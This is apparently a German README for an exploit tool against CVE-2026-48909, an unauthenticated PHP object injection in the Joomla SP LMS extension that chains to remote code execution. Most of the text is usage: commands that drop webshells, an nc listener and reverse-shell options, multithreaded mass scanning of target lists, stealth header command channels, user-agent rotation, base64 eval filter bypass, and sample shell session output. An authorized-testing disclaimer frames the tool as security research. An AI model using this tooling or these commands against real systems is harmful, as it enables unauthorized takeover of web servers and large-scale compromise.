CVE-2026-48909 - Nicht authentifizierte PHP-Objektinjektion zu RCE-Exploit für Joomla SP LMS-Erweiterung Versionen <= 4.1.3. Nutzt die Deserialisierung des lmsOrders-Cookies aus, um über die Joomla FormattedtextLogger-Gadget-Kette eine Webshell zu schreiben. Enthält interaktive Shell, Pfadfindung und Bereinigung. Nur für autorisierte Sicherheitstests.
Proof-of-Concept-Bewertungstool für CVE-2026-48909
Autor: Sudeepa Wanigarathna
[!IMPORTANT] Nur für autorisierte Nutzung. Dieses Tool dient der Sicherheitsforschung, Bildung und dem Testen von Systemen, die Sie besitzen oder für die Sie eine ausdrückliche schriftliche Genehmigung zur Bewertung haben. Unbefugter Zugriff auf Computersysteme ist illegal. Der Autor übernimmt keine Haftung für Missbrauch.
CVE-2026-48909 ist eine kritische nicht authentifizierte PHP-Objekt-Injektion in der Joomla SP LMS-Erweiterung. Dieses Tool implementiert die vollständige Angriffskette, damit Sicherheitsexperten die Auswirkungen in Labor- oder autorisierten Umgebungen validieren können.
Es umfasst Erkennung, Pfadfindung, Payload-Zustellung, interaktive Post-Exploitation (wo erlaubt), Massenbewertung und optionale Bereinigung.
| Attribut | Wert |
|---|---|
| CVE-ID | CVE-2026-48909 |
| CVSS | 9.5 (Kritisch) |
| Angriffsvektor | Netzwerk – nicht authentifiziert |
| Auswirkung | Remote-Code-Ausführung |
| Betroffenes Produkt | Joomla SP LMS |
| Betroffene Versionen | 1.0.0 – 4.1.3 |
| Gepatchte Version | SP LMS 4.1.4+ |
| Gadget-Kette | Erfordert Joomla < 5.2.2 |
| Komponente | Version | RCE |
|---|---|---|
| SP LMS | < 4.1.4 | Anfällig |
| SP LMS | ≥ 4.1.4 | Gepatcht |
| Joomla | < 5.2.2 | Gadget-Kette nutzbar |
| Joomla | ≥ 5.2.2 | Gadget-Kette gepatcht |
| Fähigkeit | Beschreibung |
|---|---|
| Nicht authentifizierter Exploit | Keine Anmeldeinformationen erforderlich |
| Mehrere Payloads | 7 Webshell-/Ausführungsvarianten |
| Interaktive Shell | Sitzung mit Befehlsverlauf nach Bereitstellung |
| Pfadfindung | Automatische Suche nach beschreibbaren Pfaden |
| Bereinigung | Entfernen der bereitgestellten Webshell nach Tests |
| Fähigkeit | Beschreibung |
|---|---|
| Massenscan | Multithreaded Ziellisten (1000+) |
| Proxy-Unterstützung | HTTP/SOCKS (Burp, ZAP, etc.) |
| Reverse Shell | Listener-basierte Payloads |
| Stealth-Modus | Header-/POST-orientierte Befehlskanäle |
| Randomisierung | UUID-Shell-Namen, User-Agent-Rotation |
| Berichterstattung | Export als JSON, HTML oder CSV |
| Erkennungshilfen | Joomla-Versionsprüfungen, --check-only, --safe-mode |
cmd-Filter blockiert werdenpipcd exploit
python3 -m venv venv
source venv/bin/activate # Windows: venv\Scripts\activate
pip install -r requirements.txt
python3 "CVE-2026-48909 v3.0.py" --help
requests>=2.31.0
urllib3>=2.0.0
argparseist Teil der Python-Standardbibliothek; es muss nicht über pip installiert werden.
Ersetzen Sie
https://target.examplenur durch ein Labor- oder autorisiertes Ziel.
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path --interactive
python3 "CVE-2026-48909 v3.0.py" https://target.example --check-only
python3 "CVE-2026-48909 v3.0.py" https://target.example --safe-mode
python3 "CVE-2026-48909 v3.0.py" --targets targets.txt --threads 20 --export results.html --export-format html
# Listener
nc -lvnp 4444
# Exploit-Host
python3 "CVE-2026-48909 v3.0.py" https://target.example \
--find-path \
--shell-type reverse \
--reverse-host 192.168.1.100 \
--reverse-port 4444
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path
python3 "CVE-2026-48909 v3.0.py" https://target.example --path /var/www/html/tmp/shell.php
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path --interactive
python3 "CVE-2026-48909 v3.0.py" https://target.example --path /tmp/x.php --cmd "id"
python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type stealth --find-path --interactive
python3 "CVE-2026-48909 v3.0.py" https://target.example \
--find-path --interactive \
--proxy http://127.0.0.1:8080 \
--insecure
python3 "CVE-2026-48909 v3.0.py" https://target.example --cleanup /tmp/x.php
https://lab-a.example
https://lab-b.example
https://lab-c.example
python3 "CVE-2026-48909 v3.0.py" -T targets.txt --threads 50 --export scan.json
| Argument | Beschreibung |
|---|---|
target | Einzelne Ziel-URL |
--targets, -T DATEI | Datei mit Zielen (eine URL pro Zeile) |
--path PFAD | Absoluter Serverpfad für Webshell |
--shell-type TYP | minimal, standard, stealth, base64, full, reverse, blindshell |
--shell-name NAME | Webshell-Dateiname (Standard: x.php) |
| Argument | Beschreibung |
|---|---|
--timeout SEKUNDEN | Request-Timeout (Standard: 15) |
--insecure | TLS-Zertifikatsprüfung überspringen |
--proxy URL | z.B. http://127.0.0.1:8080 |
--random-ua | User-Agent rotieren (standardmäßig aktiviert) |
--delay SEKUNDEN | Verzögerung zwischen Requests |
| Argument | Beschreibung |
|---|---|
--reverse-host HOST | Listener-Host |
--reverse-port PORT | Listener-Port |
| Argument | Beschreibung |
|---|---|
--interactive, -i | Interaktive Shell nach Bereitstellung |
--check-only | Nur Schwachstellenprüfung |
--safe-mode | Nicht-destruktives Testen |
--find-path | Beschreibbaren Pfad automatisch erkennen |
--cmd BEFEHL | Einen Befehl ausführen und beenden |
--cleanup PFAD | Webshell unter Pfad entfernen |
--cleanup-after | Bereinigung nach Exploitation |
| Argument | Beschreibung |
|---|---|
--threads NUM | Worker-Threads (Standard: 10) |
--export DATEI | Ausgabepfad für Ergebnisse |
--export-format FORMAT | json, html, csv (Standard: json) |
| Argument | Beschreibung |
|---|---|
--log-file DATEI | Logs in Datei schreiben |
--quiet, -q | Leiser Modus |
--verbose, -v | Ausführliche Ausgabe |
--no-banner | Banner ausblenden |
| Typ | Verhalten | Typische Verwendung |
|---|---|---|
minimal | Kompakte GET-basierte Ausführung | Enger Platz / Schnelltest |
standard | GET + POST cmd (Standard) | Allgemeine Bewertungen |
stealth | Befehl über X-Cmd-Header | Reduziert URL-Protokollierung |
base64 | eval(base64_decode(...)) über POST | Filter-Umgehung im Labor |
full | GET/POST + base64-Kanal | Breitere Kontrolle |
reverse | Connect-Back-Shell | Dauerhafter Laborzugang |
blindshell | Alternative Inklusions-/Ausführungsmuster | Eingeschränkte Umgebungen |
python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type minimal --find-path
python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type stealth --find-path -i
python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type reverse \
--reverse-host 10.0.0.1 --reverse-port 4444 --find-path
flowchart TD
A["Angreifer-kontrolliertes lmsOrders-Cookie"] --> B["unserialize() in cart.php"]
B --> C["FormattedtextLogger::__destruct()"]
C --> D["File::write() — PHP-Ablage"]
D --> E["Webshell auf Disk"]
E --> F["Remote-Befehlsausführung"]components/com_splms/models/cart.php deserialisiert ein base64-decodiertes lmsOrders-Cookie.Joomla\CMS\Log\Logger\FormattedtextLogger::__destruct() löst einen Dateisystem-Schreibvorgang aus./, =, +) zu vermeiden.Joomlas cmd-Filter kann /, = und + entfernen. Dieses Tool kompensiert dies durch:
shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
shell> whoami
www-data
shell> pwd
/var/www/html
shell> exit
{
"timestamp": "2026-07-16T10:30:00.123456",
"target": "https://lab.example",
"shell_path": "/tmp/x_abc123def.php",
"shell_url": "https://lab.example/tmp/x_abc123def.php",
"shell_type": "standard",
"vulnerable": true,
"exploited": true,
"joomla_version": "4.3.2",
"detected_paths": [
"/tmp/x_abc123def.php",
"/images/x_abc123def.php",
"/cache/x_abc123def.php"
],
"author": "Sudeepa Wanigarathna",
"tool_version": "3.0"
}
python3 "CVE-2026-48909 v3.0.py" https://target.example --path /tmp/x.php --cmd "id"
| Symptom | Was zu tun ist |
|---|---|
| Konnte keinen filtersicheren Payload erzeugen | Anderen --path oder --find-path verwenden; ungewöhnliche Pfadzeichen vermeiden |
| Shell-Verifizierung fehlgeschlagen | --timeout erhöhen; --shell-type standard versuchen; system() o.ä. ist nicht deaktiviert? Beschreibbarkeit prüfen |
| Ziel scheint nicht anfällig | SP LMS ≤ 4.1.3, Joomla < 5.2.2, com_splms vorhanden; WAF-Blockierungen überprüfen |
| HTTP 500 | --insecure, --timeout 30, Anwendungs-/Serverlogs prüfen |
| Proxy-Verbindung abgelehnt | Proxy läuft? URL-Schema/Host/Port korrekt |
| TLS-Verifizierung fehlgeschlagen | --insecure für Labor-Endpunkte mit defekten Zertifikaten hinzufügen |
# Ausführlich + Dateilog
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path -v --log-file debug.log
# Durch Burp
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path \
--proxy http://127.0.0.1:8080 --insecure -v
# Zuerst nicht-destruktiv
python3 "CVE-2026-48909 v3.0.py" https://target.example --safe-mode
exploit/
├── CVE-2026-48909 v3.0.py # Haupttool (v3.0)
├── requirements.txt # Python-Abhängigkeiten
├── README.md # Diese Datei
└── venv/ # Lokales virtualenv (optional, nicht eingecheckt)
Optionale Ergänzungen für eine öffentliche Veröffentlichung:
targets.txt.example
docs/technical-details.md
examples/basic-exploit.sh
examples/mass-scan.sh
Dieses Projekt wird wie besehen für defensive Sicherheitsforschung und autorisierte Penetrationstests bereitgestellt.
Durch die Nutzung dieser Software stimmen Sie zu, dass:
Wenn Sie diese Schwachstelle in freier Wildbahn entdecken, befolgen Sie verantwortungsvolle Offenlegungspraktiken und stimmen Sie sich gegebenenfalls mit dem Anbieter / CERT ab.
Sudeepa Wanigarathna
Sicherheitsforscher · Ethisches Hacking · Schwachstellenforschung · Python-Werkzeuge
Nur für autorisierte Sicherheitstests.